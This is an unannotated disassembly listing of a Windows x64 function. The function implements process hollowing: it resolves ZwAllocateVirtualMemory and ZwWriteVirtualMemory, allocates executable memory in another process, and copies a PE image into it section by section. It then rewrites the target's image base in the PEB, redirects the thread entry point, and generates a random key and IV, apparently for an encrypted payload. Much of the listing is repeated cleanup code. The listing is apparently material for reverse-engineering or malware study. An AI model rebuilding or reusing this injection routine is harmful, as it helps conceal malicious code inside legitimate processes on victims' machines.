cmp rax, 0x1f
jbe 0x1400081b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140008216
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008210
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008210
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008274
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000826e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000826e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400082d2
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400082cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008330
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000832a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000832a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x14000839f
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400083e4
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400083de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140008442
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000843c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000843c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400084b1
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008499
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x1400084f6
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008553
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000854d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000854d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 0xfffffffb
jmp 0x1400092c5
mov rax, qword [r14 + 0x30]
mov qword [rbp - 0x28], rax
mov eax, dword [r14 + 0x50]
mov qword [rbp + 0x690], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x690]
xor r8d, r8d
lea rdx, [rbp - 0x28]
call rbx
test eax, eax
js 0x140008c7b
cmp qword [rbp - 0x28], 0
je 0x140008c7b
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x1400193b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.1400045e0
test rdi, rdi
jne 0x140008683
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, qword [0x1400193b0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
jmp 0x1400092c0
mov edi, 4
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x142e41938], eax
jle 0x1400086dd
lea rcx, [0x142e41938]
call fcn.14000de58
cmp dword [0x142e41938], 0xffffffff
jne 0x1400086dd
mov edx, 0x20
lea rcx, [0x142e41918]
call fcn.14000a960
lea rcx, [0x14000f9f0]
call fcn.14000e2b0
nop
lea rcx, [0x142e41938]
call fcn.14000ddec
mov eax, dword [rdi]
cmp dword [0x142e41914], eax
jle 0x140008726
lea rcx, [0x142e41914]
call fcn.14000de58
cmp dword [0x142e41914], 0xffffffff
jne 0x140008726
mov edx, 0x10
lea rcx, [0x142e41948]
call fcn.14000a960
lea rcx, [0x14000f980]
call fcn.14000e2b0
nop
lea rcx, [0x142e41914]
call fcn.14000ddec
cmp byte [0x142e41900], 0
jne 0x140008774
lea rcx, [0x142e41918]
call fcn.14000a8f0
mov rcx, rax
mov edx, dword [0x142e41928]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008799
lea rcx, [0x142e41948]
call fcn.14000a8f0
mov rcx, rax
mov edx, dword [0x142e41958]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008799
mov byte [0x142e41900], 1
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x1400193b0]
call fcn.140004040
mov qword [rbp + 0x10], rax
test rax, rax
jne 0x1400087c1
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory.
jmp 0x1400087a0
lea rdx, str.Error_generating_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400085f0
lea rcx, [rbp + 0x658]
call fcn.140003250
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x658]
call fcn.140004120
nop
lea rcx, [rbp + 0x640]
call fcn.140003250
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x640]
call fcn.1400042b0
nop
mov rax, qword [rbp + 0x640]
mov rsi, qword [rax]
mov r9d, dword [r14 + 0x54]
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x20], rax
lea r13, [0x1400170d0]
mov r8, r13
mov rdx, qword [rbp - 0x28]
mov rcx, qword [r15]
call rsi
mov rdi, r12
cmp r12w, word [r14 + 6]
jae 0x140008892
mov rbx, r12
mov r12, qword [rbp - 0x30]
nop dword [rax]
movsxd rax, dword [0x14001710c]
add rax, rbx
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, qword [rbp - 0x28]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [r15]
call r12
test eax, eax
je 0x14000897a
inc rdi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp rdi, rax
jb 0x140008840
xor r12d, r12d
mov rdx, qword [rbp + 0xa8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x28]
mov rcx, qword [r15]
call rsi
test eax, eax
je 0x140008a3b
mov edx, 0xfffffff7
mov rcx, qword [r15]
call qword [0x142e418e0]
nop
lea rcx, [rbp + 0x640]
call fcn.140009f10
nop
lea rcx, [rbp + 0x658]
call fcn.140009f10
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
mov eax, 0xfffffff7
jmp 0x1400092c5
mov edx, 0xfffffff8
mov rcx, qword [r15]
call qword [0x142e418e0]
nop
lea rcx, [rbp + 0x640]
call fcn.140009f10
nop
lea rcx, [rbp + 0x658]
call fcn.140009f10
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
mov eax, 0xfffffff8
jmp 0x1400092c5
mov eax, dword [r14 + 0x28]
add rax, qword [rbp - 0x28]
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [r15 + 8]
call qword [rsp + 0x50]
lea rcx, [rbp + 0x6c0]
call fcn.140003620
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a8f0
mov rdx, rax
mov rcx, qword [0x1400193b0]
call fcn.140004040
test rax, rax
jne 0x140008ae1
lea rdx, str.Failed_to_get_address_of
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [rbp + 0x6c0]
call fcn.14000b430
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x640]
call fcn.140009f10
nop
lea rcx, [rbp + 0x658]
call fcn.140009f10
jmp 0x140006a9e
xor edx, edx
mov rcx, qword [r15 + 8]
call rax
test eax, eax
je 0x140008bbf
mov edx, 0xfffffff5
mov rcx, qword [r15]
call qword [0x142e418e0]
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x640]
call fcn.140009f10
nop
lea rcx, [rbp + 0x658]
call fcn.140009f10
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
mov eax, 0xfffffff5
jmp 0x1400092c5
lea rcx, [rbp + 0x6c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x640]
call fcn.140009f10
nop
lea rcx, [rbp + 0x658]
call fcn.140009f10
nop
lea rcx, [rbp + 0x600]
call fcn.14000a900
nop
lea rcx, [rbp + 0x620]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a900
nop
lea rcx, [rbp + 0x568]
call fcn.14000a900
nop
lea rcx, [rbp + 0x530]
call fcn.140009f10
nop
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
lea rcx, [rbp + 0x508]
call fcn.14000a900
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009f10
nop
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
xor eax, eax
jmp 0x1400092c5
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r15]
call qword [0x142e418e0]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140008cf2
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140008d50
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008dae
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008da8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008da8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008e0c
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008e6a
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x140008ed9
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ec1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ec1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140008f1e
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140008f7c
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140008feb
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x140009030
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000902a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000902a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x14000908d
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009087
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009087
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 0xfffffffa
jmp 0x1400092c5
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x14000910c
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400090f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140009151
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000914b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000914b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400091af
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x14000921e
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009206
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009206
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x140009263
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000925d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000925d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400092c0
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1ed0]
xor rcx, rsp
call fcn.14000dd90
mov rbx, qword [rsp + 0x2030]
add rsp, 0x1fe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret